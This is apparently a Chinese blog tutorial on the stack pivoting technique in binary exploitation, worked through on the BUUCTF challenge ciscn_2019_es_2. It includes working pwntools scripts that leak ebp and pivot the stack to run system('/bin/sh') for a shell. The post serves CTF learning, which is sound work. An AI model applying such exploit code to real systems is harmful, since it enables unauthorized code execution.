pwn学习-栈迁移

news/2024/10/1 7:45:32

栈迁移:简单理解就是在栈溢出的时候可溢出的字符过少,只能溢出ebpret的地址,可以使用leave_ret这个gadget来实现栈的迁移。
在栈中,默认情况下汇编语言在栈结束的时候都默认会执行一次leaveret指令,我们利用这个特性将返回地址修改为leave_retgadget,将会执行两次leaveret的操作,将我们的栈迁移到ebp溢出指定的位置,执行想要执行的指令。

题目示例:

BUUCTF ciscn_2019_es_2

使用ida打开分析

main函数中调用了vul函数,该函数中read函数存在栈溢出,但是只能溢出8个字节,通过函数列表发现拥有一个hack函数调用了system,现在我们拥有了system的addr,但是溢出的空间并不能让我们手动的构造gadget获取shell

通过观察发现,该vul函数使用了printf输出s的内容,我们知道printf在输出字符串的时候遇到\x00才会结束,所以我们可以通过溢出,获取ebp的地址,在汇编的学习中,我们知道在栈中取值一般通过ebp - offset,所以我们的思路如下:

  1. 通过溢出在s的栈中没有\x00,让printf输出ebp的地址
  2. 通过溢出在s的栈中写入'aaaa' + system_addr + system_return + bin_sh_addr + '/bin/sh' + 垃圾字符 + s栈开始 + leave_ret

让我们站在程序的思路看一下发生了什么:

  1. 栈结束的时候,执行leaveret,这时会跳转到ebp保存的地址,也就是s栈开始
  2. 接着执行leave_ret我们在return_addr加入的gadget地址,这时会将栈迁移到s栈开始的位置,esp会指向栈的s栈开始 +4个字节,因为leave_ret相当于执行了mov esp,ebppop ebp,pop ebp的时候,在pop的时候,会将esp的值+4,所以我们需要在开头写入四个字节的aaaa
  3. 接着执行leave_ret中的ret指令,相当于pop eip,这时会将system_addr的地址读取到eipeip就是程序执行到哪里了,就会接着执行system函数
  4. system函数需要执行返回地址和参数,返回地址随便,参数为/bin/sh,由于程序中没有/bin/sh,我们执行程序的地址为s栈的开始 + 0x10,因为我们前面的'aaaa' + system_addr + system_return + bin_sh_addr相当于四条汇编指令,占用16个字节,接着往栈里写入/bin/sh,就可以成功执行system(/bin/sh),完美

理论成立,接着实践,如何获取s栈开始的地址呢?,ebp可以通过printf输出获取,如果使用ebp - offset来获取s栈开始的位置是一个问题,首先先使用脚本尝试printf溢出,获取ebp的地址

from pwn import *
context(log_level='debug')p = process("./ciscn_2019_es_2")
# p = remote("node5.buuoj.cn",28942)
e = ELF("./ciscn_2019_es_2")leave_ret = 0x08048562
system = e.sym['system']
p.recvuntil("Welcome, my friend. What's your name?")payload1 = b"A" * 0x20 + b"B" * 0x8
p.send(payload1)p.recvuntil(b"BBBBBBBB")
ebp = u32(p.recv(4))
log.success("ebp_addr: " + str(hex(ebp)))p.interactive()

接着使用pwndbg调试查看ebp到栈顶的偏移

printf时发现栈顶到栈底的偏移为0x34,这里我们需要改为0x34 + 4,因为printf的参数'Hello, %s\n'也占用了四个字节

接着我们构造脚本,如下:

from pwn import *
context(log_level='debug')p = process("./ciscn_2019_es_2")
# p = remote("node5.buuoj.cn",28942)
e = ELF("./ciscn_2019_es_2")leave_ret = 0x08048562
system = e.sym['system']
p.recvuntil("Welcome, my friend. What's your name?")payload1 = b"A" * 0x20 + b"B" * 0x8
p.send(payload1)p.recvuntil(b"BBBBBBBB")
ebp = u32(p.recv(4))
log.success("ebp_addr: " + str(hex(ebp)))payload2 = b"AAAA" + p32(system) + p32(0) + p32(ebp - 0x38 + 0x10) + b"/bin/sh"
payload2 = payload2.ljust(0x28,b"\x00") + p32(ebp - 0x38) + p32(leave_ret)
p.send(payload2)p.interactive()

运行的到shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hjln.cn/news/45023.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

工业通讯协议(四)- OPCUA

在现代工业自动化领域,OPC UA(开放性生产控制和统一架构)是一种广泛应用的通信协议。参考:https://www.opc-router.com/what-is-opc-ua/#:~:text=In this context%2C the meaning of UA in,COM%2FDCOM to purely binary TCP%2FIP or alternatively SOAP. https://github.co…

视频生成模型 Dream Machine 开放试用;微软将停止 Copilot GPTs丨 RTE 开发者日报 Vol.224

开发者朋友们大家好:这里是 「RTE 开发者日报」 ,每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE(Real-Time Engagement) 领域内「有话题的 新闻 」、「有态度的 观点 」、「有意思的 数据 」、「有思考的 文章 」、「有看点的 会议 」,但内容仅代表编辑…

活动回顾丨飞天技术沙龙 Serverless + AI 专场(上海站)回顾 PPT 下载

5 月 31 日“飞天技术沙龙 Serverless + AI 专场”上海站圆满落幕。活动受众以关注 Serverless 技术的开发者、企业决策人、云原生领域创业者为主,活动形式为演讲、动手实操,让开发者通过一个下午的时间增进对 Serverless 技术的理解,快速上手 Serverless,拥抱云计算新范式…

虚拟环境配置以及xshll配置

虚拟机和xshll相关演示环境:win11 + VMware16pro+xshell7+centos7.9 虚拟机和xshell配置 1.vmware的安装【16pro】,镜像导入注意【不要将软件下载到带中文和其他特殊字符的目录内】硬件配置【2核2线程2G内存就够。IP地址就动态获取就行】启动centos虚拟机,输入用户名和密码获…

阿里云可观测 2024 年 5 月产品动态

阿里云可观测 2024 年 5 月产品动态

模拟集成电路设计系列博客——6.4.1 电阻电容混合转换器

6.4.1 电阻电容混合转换器 在混合设计中,需要以不同的比例组合前三章中讨论的三种技术。混合设计是设计DA转换器中的一种流行方式,因为它能够组合不同方式的优点。例如,在设计中经常使用温度计码处理高几位MSB,而使用二进制码方式处理低几位LSB。使用这种方式,对于最需要处…

基于云效 AppStack,5 分钟搞定一个 AI 应用的开发和部署

区别于传统的流水线工具,本实验将带你体验云效应用交付平台 AppStack,从应用视角,完成一个 AI 聊天应用的高效交付。实验介绍 区别于传统的流水线工具,本实验将带你体验云效应用交付平台 AppStack,从应用视角,完成一个 AI 聊天应用的高效交付。 你将体验到:基于应用模板…

nssctf

crypto 1.UUencode不知道是什么解码,用随波逐流看看 还是不知道 仔细看看,突然想起他是哪个编码了,UUencode 2栅栏猜了很多 最后猜了网站的名字,嘿嘿出来了3.社会主义 很简单的社会主义核心价值解码4.bubble密码 是ook吧uunbase64 这就没见过了。。不知道什么编码 看了wp才…